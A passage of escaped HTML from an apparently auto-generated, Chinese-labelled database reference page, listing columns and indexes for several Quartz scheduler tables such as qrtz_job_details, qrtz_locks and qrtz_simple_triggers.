t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>FIRED_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIORITY</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>STATE</td>\n\t\t\t\t\t\t<td>varchar(16)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IS_NONCONCURRENT</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>REQUESTS_RECOVERY</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_TRIG_INST_NAME</td>\n\t\t\t\t\t\t<td>SCHED_NAME,INSTANCE_NAME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_T_G</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_J_G</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_INST_JOB_REQ_RCVRY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,INSTANCE_NAME,REQUESTS_RECOVERY</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,ENTRY_ID</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_TG</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_FT_JG</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-4\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_job_details</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>DESCRIPTION</td>\n\t\t\t\t\t\t<td>varchar(250)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_CLASS_NAME</td>\n\t\t\t\t\t\t<td>varchar(250)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IS_DURABLE</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IS_NONCONCURRENT</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IS_UPDATE_DATA</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>REQUESTS_RECOVERY</td>\n\t\t\t\t\t\t<td>varchar(1)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>JOB_DATA</td>\n\t\t\t\t\t\t<td>blob</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_J_GRP</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,JOB_NAME,JOB_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>IDX_QRTZ_J_REQ_RECOVERY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,REQUESTS_RECOVERY</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tNORMAL\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-5\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_locks</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>LOCK_NAME</td>\n\t\t\t\t\t\t<td>varchar(40)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,LOCK_NAME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-6\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_paused_trigger_grps</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-7\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_scheduler_state</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>INSTANCE_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>LAST_CHECKIN_TIME</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>CHECKIN_INTERVAL</td>\n\t\t\t\t\t\t<td>bigint(13)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,INSTANCE_NAME</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-8\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_simple_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>REPEAT_COUNT</td>\n\t\t\t\t\t\t<td>bigint(7)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>REPEAT_INTERVAL</td>\n\t\t\t\t\t\t<td>bigint(12)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TIMES_TRIGGERED</td>\n\t\t\t\t\t\t<td>bigint(10)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t\t\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>索引信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>名称</th>\n\t\t\t\t\t\t<th>栏位</th>\n\t\t\t\t\t\t<th>索引类型</th>\n\t\t\t\t\t\t<th>索引方式</th>\n\t\t\t\t\t\t<th>索引备注</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>PRIMARY</td>\n\t\t\t\t\t\t<td>SCHED_NAME,TRIGGER_NAME,TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\tUNIQUE\n\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<td>BTREE</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t</tbody>\n\n\t\t\t</table>\n\t\t</div>\n\t\t<div id=\"db-table-9\" style=\"display: none\" class=\"ui container last db-table \">\n\t\t\t<h1 class=\"ui center aligned header\">表名:qrtz_simprop_triggers</h3>\n\t\t\t<h3 class=\"ui center aligned \">注释:</h3>\n\t\t\t<h3 class=\"ui center aligned \" ><a onclick=\"toIndex()\">返回目录</a></h3>\n\t\t\t<table class=\"ui orange celled   table\">\n\t\t\t\t<caption>表格信息</caption>\n\t\t\t\t<thead>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>字段</th>\n\t\t\t\t\t\t<th>类型</th>\n\t\t\t\t\t\t<th>注释</th>\n\t\t\t\t\t\t<th>键</th>\n\t\t\t\t\t\t<th>能否为空</th>\n\t\t\t\t\t\t<th>默认值</th>\n\t\t\t\t\t\t<th>其他</th>\n\t\t\t\t\t</tr>\n\t\t\t\t</thead>\n\t\t\t\t<tbody>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>SCHED_NAME</td>\n\t\t\t\t\t\t<td>varchar(120)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_NAME</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>TRIGGER_GROUP</td>\n\t\t\t\t\t\t<td>varchar(200)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>PRI</td>\n\t\t\t\t\t\t<td>NO</td>\n\t\t\t\t\t\t<td>无</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>STR_PROP_1</td>\n\t\t\t\t\t\t<td>varchar(512)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>STR_PROP_2</td>\n\t\t\t\t\t\t<td>varchar(512)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>STR_PROP_3</td>\n\t\t\t\t\t\t<td>varchar(512)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>INT_PROP_1</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<td>YES</td>\n\t\t\t\t\t\t<td>NULL</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>INT_PROP_2</td>\n\t\t\t\t\t\t<td>int(11)</td>\n\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t<